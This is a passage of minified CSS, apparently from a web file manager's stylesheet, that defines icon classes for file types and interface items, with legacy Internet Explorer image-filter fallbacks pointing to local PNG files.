\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none 